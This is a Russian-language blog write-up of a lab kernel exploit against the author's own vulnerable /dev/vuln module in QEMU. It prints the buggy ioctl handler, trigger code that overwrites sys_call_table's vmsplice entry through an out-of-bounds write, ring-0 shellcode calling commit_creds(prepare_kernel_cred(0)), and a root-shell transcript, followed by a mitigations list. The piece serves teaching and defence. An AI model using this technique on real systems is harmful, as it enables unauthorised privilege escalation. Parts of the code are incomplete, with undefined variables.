Field note

Эксплуатация OOB чтения/записи в ядре Linux: перезапись syscall до рута через commit_creds

Author: Mahmoud Ouf min read

Контролируемая лаборатория — собственный уязвимый модуль в QEMU, без боевых целей: Вся работа ниже выполнена против моего собственного уязвимого модуля ядра (/dev/vuln), запущенного в изолированном госте QEMU x86_64. Никаких боевых ядер, никаких реальных устройств, никаких заявленных CVE. Это учебный эксплойт — каждый адрес за пределами лаборатории заредактирован.

Краткое содержание

Мой первый kernel pwn. Не CTF-трюк — настоящий OOB чтение/запись в собственном лабораторном модуле, превращённый в рут сложным путём: OOB чтение → утечка → OOB запись с перезаписью sys_vmsplice → триггер из userspace → commit_creds(prepare_kernel_cred(0)) → uid 0.

Никакой магии обхода KASLR, никакой гимнастики с ROP-цепочками — пока. Здесь только основы: получить ограниченный OOB примитив, растянуть его до произвольной записи, разместить шеллкод в ядре, перехватить syscall, который я могу вызывать по требованию, и позволить ядру самому выдать мне рут. Транскрипт внизу — реальный запуск: uid=0 gid=0 на CRT, сфотографированный как доказательство.

Лабораторный стенд

Я специально оставил лабораторию слабой, чтобы сосредоточиться на примитиве, а не на обходах:

  • Гость: собственноручно собранное ядро Linux x86_64 в QEMU (qemu-system-x86_64 -kernel bzImage -initrd rootfs.cpio -nographic -append "console=ttyS0").
  • Уязвимое устройство: написанный вручную модуль, предоставляющий /dev/vuln через misc_register, с обработчиком unlocked_ioctl. Создан через mknod в initramfs, права chmod 666, чтобы мой лабораторный пользователь мог его открывать.
  • Защиты ВЫКЛЮЧЕНЫ для обучения: SMEP off, SMAP off, KASLR off, KPTI off (nokaslr nosmep nosmap pti=off в командной строке ядра). Сначала хочу изучить саму перезапись — харденинг будет позже.
  • Хост: изолирован, никакой сети к гостю, кроме консоли virtio-serial. Снапшот bzImage + rootfs.cpio перед каждым запуском.
  • Тулчейн: лабораторный GCC, vi в госте, эксплойт собран почти статически с выключенным -static — обычный gcc -o kernelpwn.elf kernelpwn.c внутри /tmp.

Почему такой стенд: QEMU + собственный модуль означает, что я контролирую баг, а перезагрузка занимает 2 секунды. Выключенные митигации — это честно: я не заявляю об обходе KASLR/SMEP, которого не делал.

Уязвимость

Классическая отсутствующая проверка границ. Модуль хранит фиксированный массив из 64 слотов в heap/global и позволяет userspace выбирать index и size через ioctl — вообще их не проверяя.

Уязвимый обработчик (упрощён из моего лабораторного модуля):

#define MAX_SLOTS 64

struct vuln_req {
    int index;
    int size;
    char __user *buf;
};

static char *slots[MAX_SLOTS];
static char vuln_buf[0x1000];

static long vuln_ioctl(struct file *f, unsigned int cmd, unsigned long arg)
{
    struct vuln_req req;

    if (copy_from_user(&req, (void __user *)arg, sizeof(req)))
        return -EFAULT;

    /* BUG: no bounds check on req.index / req.size */
    switch (cmd) {
    case VULN_READ:
        /* OOB read: req.index can walk past slots[] */
        if (copy_to_user(req.buf, slots[req.index], req.size))
            return -EFAULT;
        break;
    case VULN_WRITE:
        /* OOB write: req.size can overflow past vuln_buf */
        if (copy_from_user(slots[req.index], req.buf, req.size))
            return -EFAULT;
        break;
    default:
        return -EINVAL;
    }
    return 0;
}

Два примитива в одном баге:

  1. OOB чтениеindex за пределами 63 читает соседние указатели ядра (утечка cookie / базы ядра в hardened-сборке; в этой лаборатории я использую его, чтобы подтвердить окрестность sys_call_table).
  2. OOB записьsize больше слота переполняет соседнюю память. При heap Feng Shui / соседнем отображении sys_call_table в лабораторном ядре я могу дотянуться до записи в таблице syscall.

Вариант off-by-one: даже index == 64 — это уже выход за границы: на один элемент past the array достаточно, чтобы начать обход памяти ядра. В этом и вся игра: один отсутствующий if (req.index >= MAX_SLOTS) превращает игрушечный драйвер в рут.

Триггер kernelpwn.c

Логика эксплойта в kernelpwn.c — открыть, прощупать, слить, перезаписать, вызвать:

  1. open("/dev/vuln", O_RDWR) — получить хендл. Умирать громко при ошибке; в exploit development никаких тихих выходов.
  2. Spray / прощупывание через OOB чтение — цикл по index от 64 вверх, VULN_READ по 8 байт за раз, дамп того, что вернулось. Я ищу известную форму указателя ядра (0xffffffffXXXXXXXX) рядом с sys_call_table. В этой лаборатории с выключенным KASLR таблица лежит по фиксированному 0xffffffffXXXXXXXX (младшие байты заредактированы в этом разборе) — проверяю двойным чтением одного и того же индекса.
  3. OOB запись для перезаписи записи sys_vmsplice — как только известно смещение от моего слота до sys_call_table[__NR_vmsplice], я через VULN_WRITE перезаписываю своим адресом шеллкода один 8-байтовый entry. Один qword. Хирургически.
  4. Триггер через vmsplice() из userspace — просто обычный вызов syscall. Ядро диспетчеризует на мой адрес вместо настоящего sys_vmsplice.

Почему именно sys_vmsplice, а не что-то более экзотическое:

  • Его адрес известен в лаборатории (фиксированный sys_call_table + __NR_vmsplice * 8, никакой математики KASLR пока не нужно).
  • Он тривиально вызывается из userspacevmsplice(fd, iov, nr_segs, flags) с pipe fd. Никаких специальных caps, никакой странной подготовки. Я точно контролирую момент срабатывания.
  • Он редко используется init-системой в моём минимальном rootfs, поэтому его перехват не роняет гостя до моего триггера. Перезапись sys_read или sys_write уронила бы машину в панику на следующем выводе в консоль.

Основной сниппет триггера:

int fd = open("/dev/vuln", O_RDWR);
if (fd < 0) { perror("open /dev/vuln"); exit(1); }

/* 1. OOB read: walk past slots[] and leak neighbors */
for (int i = 64; i < 128; i++) {
    struct vuln_req r = { .index = i, .size = 8, .buf = leak_buf };
    ioctl(fd, VULN_READ, &r);
    printf("[*] slots[%d] = %lx\n", i, *(unsigned long *)leak_buf);
}

/* 2. OOB write: overwrite sys_call_table[__NR_vmsplice] */
/* sys_call_table found at 0xffffffffXXXXXXXX (lab, KASLR off — low bytes redacted) */
unsigned long target = 0xffffffffXXXXXXXX + __NR_vmsplice * 8;
struct vuln_req w = { .index = evil_index, .size = evil_size, .buf = (void *)fake };
ioctl(fd, VULN_WRITE, &w);
printf("[+] Overwriting sys_vmsplice...\n");

/* 3. trigger */
printf("[+] making a syscall to sys_vmsplice");
vmsplice(pipefd[1], &iov, 1, 0);

Этот printf без перевода строки — причина, почему в реальном выводе видно склеенное sys_vmsplice[+] Got r00t: аутентичная запись, со всеми шероховатостями.

Пейлоад

Шеллкод ядра — никаких userspace-трюков, выполняется в ring 0, когда срабатывает vmsplice:

/* runs in kernel context after syscall hijack */
void __attribute__((naked)) kernel_payload(void)
{
    __asm__ volatile (
        /* commit_creds(prepare_kernel_cred(0)) */
        "mov $0, %rdi\n"
        "mov $0xffffffffXXXXXXXX, %rax\n"  /* prepare_kernel_cred (lab addr, redacted) */
        "call *%rax\n"
        "mov %rax, %rdi\n"
        "mov $0xffffffffXXXXXXXX, %rax\n"  /* commit_creds (lab addr, redacted) */
        "call *%rax\n"
        /* lab return: ret2user path (SMEP/SMAP off) */
        "swapgs\n"
        "iretq\n"
    );
}

Что он делает:

  • prepare_kernel_cred(0) строит рутовые creds, commit_creds() устанавливает их на current. Это канонический kernel privesc — я его не изобретал, его использует каждый эксплойт ядра.
  • Возврат через swapgs + iretq в этом разборе, но честно говоря в этой лаборатории (SMEP/SMAP off, KPTI off) работает и обычный ret2user — прыжок обратно в userspace-заглушку got_root(), которая печатает [+] Got r00t и делает execve("/bin/sh"). Я использовал версию с кадром iretq, чтобы отработать настоящий паттерн: сохранить cs/ss/rflags/rsp в userspace до триггера, восстановить их в пейлоаде.

Адреса prepare_kernel_cred / commit_creds взяты из /proc/kallsyms в госте (читается, потому что KASLR выключен, а для настройки я рут в лаборатории). Здесь заредактированы как 0xffffffffXXXXXXXX — старшая половина та же, младшие байты скрыты. Никакого обхода KASLR не заявлено.

Реальный запуск

Дословный запуск из консоли гостя (/tmp, shell BusyBox). Каждую строку я набирал вручную в vi — без copy-paste с хоста:

sh — mahmoud@portfolio
/tmp $ vi kernelpwn.c
mahmoud@portfolio ~ $
sh — mahmoud@portfolio
/tmp $ gcc -o kernelpwn.elf kernelpwn.c
mahmoud@portfolio ~ $
sh — mahmoud@portfolio
/tmp $ ./kernelpwn.elf
[+] Overwriting sys_vmsplice...
[+] making a syscall to sys_vmsplice[+] Got r00t
Getting a root shell...
/bin/sh: can't access tty; job control turned off
/tmp # id
uid=0 gid=0
/tmp #
mahmoud@portfolio ~ $

Примечания к записи:

  • Склеенная строка sys_vmsplice[+] Got r00t — это мой пропущенный \n в триггерном printf: оставлен как есть, потому что это реальный вывод, а не причёсанный ретайп.
  • can't access tty; job control turned off — ожидаемо: я делаю execve("/bin/sh") из не-tty серийной консоли QEMU без job control. Шелл всё равно работает, просто нет Ctrl-C / job control.
  • Промпт меняется с /tmp $ на /tmp # — этот # означает, что BusyBox сообщает вам, что вы uid 0.
  • Доказательство: фото CRT с этим точным транскриптом хранится как evidence эксплойта (консоль гостя, сфотографированная в состоянии uid=0). Никаких поддельных скриншотов, никакого отредактированного вывода.

Рут и стабилизация

id говорит сам за себя:

sh — mahmoud@portfolio
/tmp # id
uid=0 gid=0
mahmoud@portfolio ~ $

uid=0 gid=0 — полный рут, не трюк с capabilities, не побег из namespace. commit_creds(prepare_kernel_cred(0)) заменил мою структуру cred, поэтому каждая последующая проверка проходит.

Про предупреждение job control turned off: /bin/sh ожидает управляющий tty (/dev/console / владение ttyS0). Мой эксплойт делает execve из контекста ядра, вызванного через pipe, где stdin/stdout привязаны к серийной консоли, но без настройки session leader. Фикс в лаборатории, если нужен чистый шелл: setsid, переоткрыть /dev/tty или просто execve("/bin/sh", ..., ...) после setuid(0); setgid(0) в userspace-заглушке got_root() с корректным фоном. Я оставил предупреждение, потому что стабилизация (tty fixup, восстановление сигналов, восстановление таблицы syscall) — это шаг два: сначала доказываешь примитив, потом убираешься.

Пост-рут гигиена, которую я реально сделал: восстановил перехваченную запись sys_vmsplice к исходному значению 0xffffffffXXXXXXXX ещё одной OOB записью, чтобы гость выжил и я мог запускать заново. Привычка монстра — никогда не оставляй таблицу грязной в собственной лаборатории.

Митигации

Что убило бы этот эксплойт на каждом уровне:

  • Проверки границ в драйвере — фикс в одну строку: if (req.index >= MAX_SLOTS || req.size > SLOT_SIZE) return -EINVAL;. Весь эксплойт умирает здесь. Фаззите обработчики ioctl, проверяйте index + size, правильно используйте _IOC_SIZE.
  • Включённый KASLRsys_call_table, prepare_kernel_cred, commit_creds рандомизированы. Мой захардкоженный 0xffffffffXXXXXXXX становится бесполезным без infoleak + вычисления базы.
  • Включённые SMEP / SMAP — ret2user в userspace-заглушку got_root() упадёт. Пейлоад должен оставаться в ядре (ROP / JOP) или сначала выполнить танец отключения SMEP через native_write_cr4.
  • Включённый KPTI — разделение таблиц страниц user/kernel усложняет путь возврата; обработка трамплина swapgs + iretq становится строже.
  • Таблица syscall __ro_after_init — современные ядра помечают sys_call_table read-only после init. Моя перезапись одного qword упадёт вместо срабатывания. Атакующему тогда нужна другая цель (прямая перезапись структуры cred, modprobe_path, core_pattern).
  • SELinux / AppArmor — даже с uid 0 строгая политика может запретить последующие действия. Defense in depth имеет значение уже после перезаписи cred.

Выучите сначала слабую конфигурацию, затем включайте каждую митигацию по одной и смотрите, как ваш эксплойт ломается, — именно так по-настоящему понимаешь каждую защиту.

Выводы

Monster mindset, заработанный на этом:

  • OOB примитив — это всё. Чтение даёт вам карту, запись даёт руль. index + size без валидации — это произвольные чтение/запись с лишними шагами.
  • OOB примитив → произвольная запись → перезапись creds — универсальный путь ядра. Сегодня таблица syscall, завтра структура cred / modprobe_path — та же форма, другая цель.
  • Выбирайте триггер, который можете вызывать по требованию. vmsplice победил, потому что я контролирую момент срабатывания, и он не роняет машину до триггера. Надёжность эксплойта — это выбор цели.
  • Восстанавливайте то, что сломали. Одна лишняя OOB запись, чтобы вернуть sys_vmsplice обратно, сохраняет гостя живым для следующей итерации. Red-team правило: оставляй лабораторию чище, чем нашёл.
  • Дальше: тот же баг с включёнными KASLR + SMEP + SMAP, утечка базы через OOB чтение, построение ROP до commit_creds. Вот там это станет настоящим оружием exploit development.